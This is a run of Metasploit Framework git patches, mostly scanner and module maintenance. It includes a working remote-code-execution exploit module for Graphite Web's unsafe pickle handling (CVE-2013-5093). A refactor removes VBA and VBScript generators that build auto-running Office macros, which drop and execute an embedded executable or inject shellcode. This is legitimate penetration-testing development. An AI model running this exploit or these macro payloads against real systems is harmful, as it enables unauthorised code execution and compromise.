a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -54,7 +54,7 @@ def run }) return if res.nil? - return if (res.headers['Server'].nil? or res.headers['Server'] !~ /DIR-645 Ver 1.0/) + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /DIR-645 Ver 1\.0/) return if (res.code == 404) if res.body =~ /<password>(.*)<\/password>/ diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 465e0ed78a07e..88a83ab87f614 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -67,12 +67,12 @@ def run case datastore['RFILE'] when nil # Nothing - when /localconf.php$/i + when /localconf\.php$/i jumpurl = "#{datastore['RFILE']}%00/." jumpurl_len = (jumpurl.length) -2 #Account for difference in length with null byte jumpurl_enc = jumpurl.sub("%00", "\00") #Replace %00 with \00 to correct null byte format print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters") - when /^..(\/|\\)/i + when /^\.\.(\/|\\)/i print_error("Directory traversal detected... you might want to start that with a /.. or \\..") else jumpurl_len = (datastore['RFILE'].length) diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb index 993d4f4f0f9ac..a9f8e4e5e3094 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb @@ -53,9 +53,9 @@ def run case datastore['RFILE'] when nil # Nothing - when /localconf.php$/i + when /localconf\.php$/i jumpurl = "#{datastore['RFILE']}%00/." - when /^..(\/|\\)/i + when /^\.\.(\/|\\)/i print_error("Directory traversal detected... you might want to start that with a /.. or \\..") else jumpurl = "#{datastore['RFILE']}" diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index 4630d40894247..eb35666027317 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -71,12 +71,12 @@ def run case datastore['RFILE'] when nil # Nothing - when /localconf.php$/i + when /localconf\.php$/i jumpurl = "#{datastore['RFILE']}%00/." jumpurl_len = (jumpurl.length) -2 #Account for difference in length with null byte jumpurl_enc = jumpurl.sub("%00", "\00") #Replace %00 with \00 to correct null byte format print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters") - when /^..(\/|\\)/i + when /^\.\.(\/|\\)/i print_error("Directory traversal detected... you might want to start that with a /.. or \\..") else jumpurl_len = (datastore['RFILE'].length) From 268a3e769e6430ba45060539cd58e5231a6c6021 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 17:45:05 -0500 Subject: [PATCH 264/454] Missed this one --- modules/auxiliary/scanner/pop3/pop3_login.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index e68c4ea514fce..9e6025a32365d 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -32,8 +32,7 @@ def initialize register_options( [ Opt::RPORT(110), - # Should be OptPath - OptString.new('USER_FILE', + OptPath.new('USER_FILE', [ false, 'The file that contains a list of probable users accounts.', From 3c27520e107fa4ce468f39f445c6abeb828c966e Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 17:55:14 -0500 Subject: [PATCH 265/454] [FixRM #8317] - Fix possible double slash in file path It is possible to have a double slash in the base path, shouldn't happen. --- modules/auxiliary/scanner/http/svn_wcdb_scanner.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb index 8161a0d253927..6df56ba6f61de 100644 --- a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb @@ -41,7 +41,8 @@ def initialize def run_host(ip) if datastore['BASE_PATH'] - get_wcdb(datastore['BASE_PATH'] + '/.svn/wc.db') + + get_wcdb(Rex::FileUtils.normalize_unix_path(datastore['BASE_PATH'] + '/.svn/wc.db')) else get_wcdb('/.svn/wc.db') end From 246c2d82f9085609a022a5f0eb4d543b9da84f80 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 18:04:12 -0500 Subject: [PATCH 266/454] [FixRM #8318] - Use normalize_uri properly normalize_uri should be used when paths are being merged, not after. --- .../scanner/lotus/lotus_domino_version.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb index 45e92c2714db9..ce2b3799d554c 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb @@ -28,7 +28,7 @@ def initialize def run_host(ip) - path = normalize_uri(datastore['PATH']) + path = datastore['PATH'] check1 = [ 'iNotes/Forms5.nsf', 'iNotes/Forms6.nsf', @@ -53,8 +53,8 @@ def run_host(ip) check1.each do | check | res = send_request_raw({ - 'uri' => path+check, - 'method' => 'GET', + 'uri' => normalize_uri(path, check), + 'method' => 'GET' }, 10) if (res.nil?) @@ -101,8 +101,8 @@ def run_host(ip) check2.each do | check | res = send_request_raw({ - 'uri' => path+check, - 'method' => 'GET', + 'uri' => normalize_uri(path, check), + 'method' => 'GET' }, 10) if (res.nil?) @@ -137,8 +137,8 @@ def run_host(ip) check3.each do | check | res = send_request_raw({ - 'uri' => path+check, - 'method' => 'GET', + 'uri' => normalize_uri(path, check), + 'method' => 'GET' }, 10) if (res.nil?) From f68d581b7afe1278b98bb994d5a388db37c581e7 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 20 Aug 2013 01:20:52 -0500 Subject: [PATCH 267/454] [FixRM #8319] - Properly disable BLANK_PASSWORDS for ektron_cms400net In module ektron_cms400net.rb, datastore option "BLANK_PASSWORDS" is set to false by default, because according to the original author, a blank password will result in account lockouts. Since the user should never set "BLANK_PASSWORDS" to true, this option should never be presented as an option (when issuing the "show options"). While fixing #8319, I also noticed another bug at line 108, where res.code is used when res could be nil due to a timeout, so I ended up fixing it, too. --- .../auxiliary/scanner/http/ektron_cms400net.rb | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 2bdf102c1c333..88aedd2694d45 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -29,8 +29,6 @@ def initialize(info={}) register_options( [ - #Set to false to prevent account lockouts - it will! - OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]), OptString.new('URI', [true, "Path to the CMS400.NET login page", '/WorkArea/login.aspx']), OptPath.new( 'USERPASS_FILE', @@ -40,7 +38,9 @@ def initialize(info={}) File.join(Msf::Config.install_root, "data", "wordlists", "cms400net_default_userpass.txt") ]) ], self.class) - end + + deregister_options('BLANK_PASSWORDS') + end def target_url #Function to display correct protocol and host/vhost info @@ -58,7 +58,16 @@ def target_url end end + def cleanup + datastore['BLANK_PASSWORDS'] = @blank_pass + end + def run_host(ip) + # "Set to false to prevent account lockouts - it will!" + # Therefore we shouldn't present BLANK_PASSWORDS as an option + @blank_pass = datastore['BLANK_PASSWORDS'] + datastore['BLANK_PASSWORDS'] = false + begin res = send_request_cgi( { @@ -96,7 +105,7 @@ def run_host(ip) end rescue - print_error ("Ektron CMS400.NET login page not found at #{target_url} [HTTP #{res.code}]") + print_error ("Ektron CMS400.NET login page not found at #{target_url} [HTTP #{res.code rescue '= No response'}]") return end end From 533d98bd1bb9e9035c0412a72fff07ea55f23192 Mon Sep 17 00:00:00 2001 From: Charlie Eriksen <charlie.eriksen@gmail.com> Date: Tue, 20 Aug 2013 12:56:30 -0400 Subject: [PATCH 268/454] Adding module for CVE 2013-5093, Graphite Web Exploit --- .../unix/webapp/graphite_pickle_exec.rb | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 modules/exploits/unix/webapp/graphite_pickle_exec.rb diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb new file mode 100644 index 0000000000000..ff85adc9ee383 --- /dev/null +++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb @@ -0,0 +1,78 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Graphite Web Unsafe Pickle Handling', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in the + pickle handling of the rendering code in the Graphite Web project between + version 0.9.5 and 0.9.10(both included). + }, + 'Author' => + [ + 'Charlie Eriksen' # Initial discovery and exploit + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-5093'], + [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DisclosureDate' => 'Aug 20 2013', + 'DefaultTarget' => 0, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 16384, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python generic telnet netcat perl ruby' + } + })) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/']) + ], self.class) + + end + + def check + response = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'render', 'local'), + 'method' => 'POST' + }) + + if response.code != 200 + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + def exploit + data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n." + response = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'render', 'local'), + 'method' => 'POST', + 'data' => data + }) + print_status("Sent exploit payload") + end +end \ No newline at end of file From 42f774a0647332fa4c70e3af48d381c55ce644b5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Tue, 20 Aug 2013 12:02:09 -0500 Subject: [PATCH 269/454] Fix check method --- .../exploits/unix/webapp/graphite_pickle_exec.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb index ff85adc9ee383..e91da282a8275 100644 --- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb +++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb @@ -16,11 +16,11 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'Graphite Web Unsafe Pickle Handling', 'Description' => %q{ - This module exploits a remote code execution vulnerability in the - pickle handling of the rendering code in the Graphite Web project between - version 0.9.5 and 0.9.10(both included). + This module exploits a remote code execution vulnerability in the pickle + handling of the rendering code in the Graphite Web project between version + 0.9.5 and 0.9.10(both included). }, - 'Author' => + 'Author' => [ 'Charlie Eriksen' # Initial discovery and exploit ], @@ -60,19 +60,21 @@ def check 'method' => 'POST' }) - if response.code != 200 - return Exploit::CheckCode::Appears + if response and response.code == 500 + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n." + + print_status("Sending exploit payload...") + response = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'render', 'local'), 'method' => 'POST', 'data' => data }) - print_status("Sent exploit payload") end end \ No newline at end of file From 202b31d869dc7b359fcac895d07f250ffd75748a Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 20 Aug 2013 12:10:05 -0500 Subject: [PATCH 270/454] Better fix based on feedback Tell daddy how you want it. --- modules/auxiliary/scanner/http/scraper.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index 4e96996514229..d058ef9537f1b 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -29,7 +29,7 @@ def initialize register_options( [ OptString.new('PATH', [ true, "The test path to the page to analize", '/']), - OptRegexp.new('REGEX', [ true, "The regex to use (default regex is a sample to grab page title)", '\<title\>(.*)\<\/title\>']) + OptRegexp.new('PATTERN', [ true, "The regex to use (default regex is a sample to grab page title)", %r{<title>(.*)}i]) ], self.class) @@ -57,7 +57,7 @@ def run_host(target_host) return end - result = res.body.scan(datastore['REGEX']).flatten.map{ |s| s.strip }.uniq + result = res.body.scan(datastore['PATTERN']).flatten.map{ |s| s.strip }.uniq result.each do |u| print_status("[#{target_host}] #{tpath} [#{u}]") From 1702cf2af997800b22b8f6b31cbae899e51c953d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 20 Aug 2013 13:23:32 -0500 Subject: [PATCH 271/454] Use TARGETURI --- modules/auxiliary/scanner/http/svn_wcdb_scanner.rb | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb index 6df56ba6f61de..b7ef80a53ae48 100644 --- a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb @@ -35,17 +35,13 @@ def initialize register_advanced_options( [ - OptString.new('BASE_PATH', [false, 'Path to the directory with the .svn folder.', nil]) + OptString.new('TARGETURI', [false, 'Base path to the .svn directory', '/.svn/']) ], self.class) end def run_host(ip) - if datastore['BASE_PATH'] - - get_wcdb(Rex::FileUtils.normalize_unix_path(datastore['BASE_PATH'] + '/.svn/wc.db')) - else - get_wcdb('/.svn/wc.db') - end + base_path = target_uri.path + get_wcdb(normalize_uri(base_path, 'wc.db')) end def get_wcdb(path) From 97933c49545947ed8910bd31266984bb6d5a0d18 Mon Sep 17 00:00:00 2001 From: Shelby Spencer Date: Tue, 20 Aug 2013 16:49:48 -0700 Subject: [PATCH 272/454] Moving meterpreter scripts out of exe.rb into a templates folder. --- lib/msf/util/exe.rb | 587 +++++++++++++------------------------------- 1 file changed, 174 insertions(+), 413 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 77fe62c303dd1..0e8d4b7eb3e7b 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -811,189 +811,91 @@ def self.to_linux_mipsbe_elf(framework, code, opts={}) def self.to_exe_vba(exes='') exe = exes.unpack('C*') - vba = "" + hash_sub = {} idx = 0 maxbytes = 2000 - - var_magic = Rex::Text.rand_text_alpha(10).capitalize - var_base = Rex::Text.rand_text_alpha(5).capitalize var_base_idx = 0 + var_base = Rex::Text.rand_text_alpha(5).capitalize # First write the macro into the vba file - var_fname = var_base + (var_base_idx+=1).to_s - var_fenvi = var_base + (var_base_idx+=1).to_s - var_fhand = var_base + (var_base_idx+=1).to_s - var_parag = var_base + (var_base_idx+=1).to_s - var_itemp = var_base + (var_base_idx+=1).to_s - var_btemp = var_base + (var_base_idx+=1).to_s - var_appnr = var_base + (var_base_idx+=1).to_s - var_index = var_base + (var_base_idx+=1).to_s - var_gotmagic = var_base + (var_base_idx+=1).to_s - var_farg = var_base + (var_base_idx+=1).to_s - var_stemp = var_base + (var_base_idx+=1).to_s + hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize + hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s + hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s + hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8) # Function 1 extracts the binary - func_name1 = var_base + (var_base_idx+=1).to_s + hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s # Function 2 executes the binary - func_name2 = var_base + (var_base_idx+=1).to_s - - vba << "'**************************************************************\r\n" - vba << "'*\r\n" - vba << "'* This code is now split into two pieces:\r\n" - vba << "'* 1. The Macro. This must be copied into the Office document\r\n" - vba << "'* macro editor. This macro will run on startup.\r\n" - vba << "'*\r\n" - vba << "'* 2. The Data. The hex dump at the end of this output must be\r\n" - vba << "'* appended to the end of the document contents.\r\n" - vba << "'*\r\n" - vba << "'**************************************************************\r\n" - vba << "'*\r\n" - vba << "'* MACRO CODE\r\n" - vba << "'*\r\n" - vba << "'**************************************************************\r\n" + hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s # The wrapper makes it easier to integrate it into other macros - vba << "Sub Auto_Open()\r\n" - vba << "\t#{func_name1}\r\n" - vba << "End Sub\r\n" - - vba << "Sub #{func_name1}()\r\n" - vba << "\tDim #{var_appnr} As Integer\r\n" - vba << "\tDim #{var_fname} As String\r\n" - vba << "\tDim #{var_fenvi} As String\r\n" - vba << "\tDim #{var_fhand} As Integer\r\n" - vba << "\tDim #{var_parag} As Paragraph\r\n" - vba << "\tDim #{var_index} As Integer\r\n" - vba << "\tDim #{var_gotmagic} As Boolean\r\n" - vba << "\tDim #{var_itemp} As Integer\r\n" - vba << "\tDim #{var_stemp} As String\r\n" - vba << "\tDim #{var_btemp} As Byte\r\n" - vba << "\tDim #{var_magic} as String\r\n" - vba << "\t#{var_magic} = \"#{var_magic}\"\r\n" - vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n" - vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n" - vba << "\tChDrive (#{var_fenvi})\r\n" - vba << "\tChDir (#{var_fenvi})\r\n" - vba << "\t#{var_fhand} = FreeFile()\r\n" - vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n" - vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n" - vba << "\t\tDoEvents\r\n" - vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n" - vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n" - vba << "\t\t\t#{var_index} = 1\r\n" - vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n" - vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n" - vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n" - vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n" - vba << "\t\t\tWend\r\n" - vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n" - vba << "\t\t\t#{var_gotmagic} = True\r\n" - vba << "\t\tEnd If\r\n" - vba << "\tNext\r\n" - vba << "\tClose ##{var_fhand}\r\n" - vba << "\t#{func_name2}(#{var_fname})\r\n" - vba << "End Sub\r\n" - - vba << "Sub #{func_name2}(#{var_farg} As String)\r\n" - vba << "\tDim #{var_appnr} As Integer\r\n" - vba << "\tDim #{var_fenvi} As String\r\n" - vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n" - vba << "\tChDrive (#{var_fenvi})\r\n" - vba << "\tChDir (#{var_fenvi})\r\n" - vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n" - vba << "End Sub\r\n" - - vba << "Sub AutoOpen()\r\n" - vba << "\tAuto_Open\r\n" - vba << "End Sub\r\n" - - vba << "Sub Workbook_Open()\r\n" - vba << "\tAuto_Open\r\n" - vba << "End Sub\r\n" - vba << "'**************************************************************\r\n" - vba << "'*\r\n" - vba << "'* PAYLOAD DATA\r\n" - vba << "'*\r\n" - vba << "'**************************************************************\r\n\r\n\r\n" - vba << "#{var_magic}\r\n" + templateFile = File.open(File.join("data", "templates", "scripts", "to_exe_vba.vb.template") , "rb") + template = templateFile.read + templateFile.close + + hash_sub[:data] = "" # Writing the bytes of the exe to the file 1.upto(exe.length) do |pc| while(c = exe[idx]) - vba << "&H#{("%.2x" % c).upcase}" + hash_sub[:data] << "&H#{("%.2x" % c).upcase}" if (idx > 1 and (idx % maxbytes) == 0) # When maxbytes are written make a new paragrpah - vba << "\r\n" + hash_sub[:data] << "\r\n" end idx += 1 end end - return vba + + return template % hash_sub end def self.to_vba(framework,code,opts={}) - var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub = {} + hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize # put the shellcode bytes into an array - bytes = '' + hash_sub[:bytes] = '' maxbytes = 20 codebytes = code.unpack('C*') 1.upto(codebytes.length) do |idx| - bytes << codebytes[idx].to_s - bytes << "," if idx < codebytes.length - 1 - bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) + hash_sub[:bytes] << codebytes[idx].to_s + hash_sub[:bytes] << "," if idx < codebytes.length - 1 + hash_sub[:bytes] << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) end - "#If Vba7 Then -Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr -Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr -Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr -#Else -Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long -Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long -Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long -#EndIf - -Sub Auto_Open() - Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long -#If Vba7 Then - Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr -#Else - Dim #{var_rwxpage} As Long, #{var_res} As Long -#EndIf - #{var_myArray} = Array(#{bytes}) - #{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40) - For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray}) - #{var_myByte} = #{var_myArray}(#{var_offset}) - #{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1) - Next #{var_offset} - #{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0) -End Sub -Sub AutoOpen() - Auto_Open -End Sub -Sub Workbook_Open() - Auto_Open -End Sub -" + templateFile = File.open(File.join("data", "templates", "scripts", "to_vba.vb.template") , "rb") + template = templateFile.read + templateFile.close + + return template % hash_sub end def self.to_win32pe_vba(framework, code, opts={}) @@ -1005,263 +907,168 @@ def self.to_exe_vbs(exes = '', opts={}) persist = opts[:persist] || false exe = exes.unpack('C*') - vbs = "" - - var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small - var_fname = Rex::Text.rand_text_alpha(rand(8)+8) - var_func = Rex::Text.rand_text_alpha(rand(8)+8) - var_stream = Rex::Text.rand_text_alpha(rand(8)+8) - var_obj = Rex::Text.rand_text_alpha(rand(8)+8) - var_shell = Rex::Text.rand_text_alpha(rand(8)+8) - var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) - var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) - var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) - vbs << "Function #{var_func}()\r\n" - - vbs << "#{var_bytes}=Chr(#{exe[0]})" + hash_sub = {} + hash_sub[:var_shellcode] = "" + hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small + hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) lines = [] 1.upto(exe.length-1) do |byte| if(byte % 100 == 0) - lines.push "\r\n#{var_bytes}=#{var_bytes}" + lines.push "\r\n#{hash_sub[:var_bytes]}=#{hash_sub[:var_bytes]}" end # exe is an Array of bytes, not a String, thanks to the unpack # above, so the following line is not subject to the different # treatments of String#[] between ruby 1.8 and 1.9 lines.push "&Chr(#{exe[byte]})" end - vbs << lines.join("") + "\r\n" - - vbs << "Dim #{var_obj}\r\n" - vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n" - vbs << "Dim #{var_stream}\r\n" - vbs << "Dim #{var_tempdir}\r\n" - vbs << "Dim #{var_tempexe}\r\n" - vbs << "Dim #{var_basedir}\r\n" - vbs << "Set 